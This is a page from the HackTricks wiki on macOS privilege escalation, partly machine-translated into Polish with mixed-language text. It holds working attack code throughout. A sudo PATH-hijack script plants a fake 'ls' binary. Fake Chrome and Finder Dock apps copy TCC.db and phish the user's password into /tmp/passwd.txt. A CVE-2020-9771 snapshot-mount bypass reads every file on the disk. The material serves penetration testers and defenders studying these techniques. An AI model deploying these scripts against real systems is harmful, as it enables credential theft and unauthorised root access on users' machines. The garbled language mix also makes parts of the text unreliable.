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hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
Carlos Polop 5e833204fc Recreating repository history for branch pl
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macOS Privilege Escalation

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TCC Privilege Escalation

If you came here looking for TCC privilege escalation go to:

{% content-ref url="macos-security-protections/macos-tcc/" %} macos-tcc {% endcontent-ref %}

Linux Privesc

Please note that most of the tricks about privilege escalation affecting Linux/Unix will affect also MacOS machines. So see:

{% content-ref url="../../linux-hardening/privilege-escalation/" %} privilege-escalation {% endcontent-ref %}

User Interaction

Sudo Hijacking

You can find the original Sudo Hijacking technique inside the Linux Privilege Escalation post.

However, macOS maintains the user's PATH when he executes sudo. Which means that another way to achieve this attack would be to hijack other binaries that the victim wciąż execute when running sudo:

# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<EOF
#!/bin/bash
if [ "\$(id -u)" -eq 0 ]; then
whoami > /tmp/privesc
fi
/bin/ls "\$@"
EOF
chmod +x /opt/homebrew/bin/ls

# victim
sudo ls

Note that a user that uses the terminal will highly probable have Homebrew installed. So it's possible to hijack binaries in /opt/homebrew/bin.

Dock Impersonation

Using some social engineering you could impersonate for example Google Chrome inside the dock and actually execute your own script:

{% tabs %} {% tab title="Chrome Impersonation" %} Some suggestions:

  • Check in the Dock if there is a Chrome, and in that case remove that entry and add the fake Chrome entry in the same position in the Dock array.
#!/bin/sh

# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%Chrome%';

rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

# Payload to execute
cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
char *cmd = "open /Applications/Google\\\\ Chrome.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF

gcc /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c -o /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
rm -rf /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c

chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
sleep 0.1
killall Dock

{% endtab %}

{% tab title="Impersonacja Findera" %} Kilka sugestii:

  • Nie możesz usunąć Findera z Docka, więc jeśli zamierzasz dodać go do Docka, możesz umieścić fałszywego Findera tuż obok prawdziwego. W tym celu musisz dodać fałszywy wpis Findera na początku tablicy Docka.
  • Inną opcją jest nie umieszczanie go w Docku i po prostu otwarcie go, "Finder prosi o kontrolę Findera" nie jest takie dziwne.
  • Inną opcją na eskalację do roota bez pytania o hasło z oknem, które wygląda strasznie, jest sprawienie, aby Finder naprawdę poprosił o hasło do wykonania uprzywilejowanej akcji:
  • Poproś Findera o skopiowanie do /etc/pam.d nowego pliku sudo (Okno proszące o hasło wskaże, że "Finder chce skopiować sudo")
  • Poproś Findera o skopiowanie nowego Pluginu Autoryzacji (Możesz kontrolować nazwę pliku, aby okno proszące o hasło wskazało, że "Finder chce skopiować Finder.bundle")
#!/bin/sh

# THIS REQUIRES Finder TO BE INSTALLED (TO COPY THE ICON)
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%finder%';

rm -rf /tmp/Finder.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Finder.app/Contents/MacOS
mkdir -p /tmp/Finder.app/Contents/Resources

# Payload to execute
cat > /tmp/Finder.app/Contents/MacOS/Finder.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
char *cmd = "open /System/Library/CoreServices/Finder.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF

gcc /tmp/Finder.app/Contents/MacOS/Finder.c -o /tmp/Finder.app/Contents/MacOS/Finder
rm -rf /tmp/Finder.app/Contents/MacOS/Finder.c

chmod +x /tmp/Finder.app/Contents/MacOS/Finder

# Info.plist
cat << EOF > /tmp/Finder.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Finder</string>
<key>CFBundleIdentifier</key>
<string>com.apple.finder</string>
<key>CFBundleName</key>
<string>Finder</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF

# Copy icon from Finder
cp /System/Library/CoreServices/Finder.app/Contents/Resources/Finder.icns /tmp/Finder.app/Contents/Resources/app.icns

# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Finder.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
sleep 0.1
killall Dock

{% endtab %} {% endtabs %}

TCC - Eskalacja uprawnień roota

CVE-2020-9771 - obejście TCC mount_apfs i eskalacja uprawnień

Każdy użytkownik (nawet nieuprzywilejowany) może utworzyć i zamontować migawkę Time Machine oraz uzyskać dostęp do WSZYSTKICH plików tej migawki.
Jedynym wymaganym przywilejem jest to, aby aplikacja używana (taka jak Terminal) miała dostęp Full Disk Access (FDA) (kTCCServiceSystemPolicyAllfiles), który musi być przyznany przez administratora.

{% code overflow="wrap" %}

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

{% endcode %}

Bardziej szczegółowe wyjaśnienie można znaleźć w oryginalnym raporcie.

Wrażliwe informacje

To może być przydatne do eskalacji uprawnień:

{% content-ref url="macos-files-folders-and-binaries/macos-sensitive-locations.md" %} macos-sensitive-locations.md {% endcontent-ref %}

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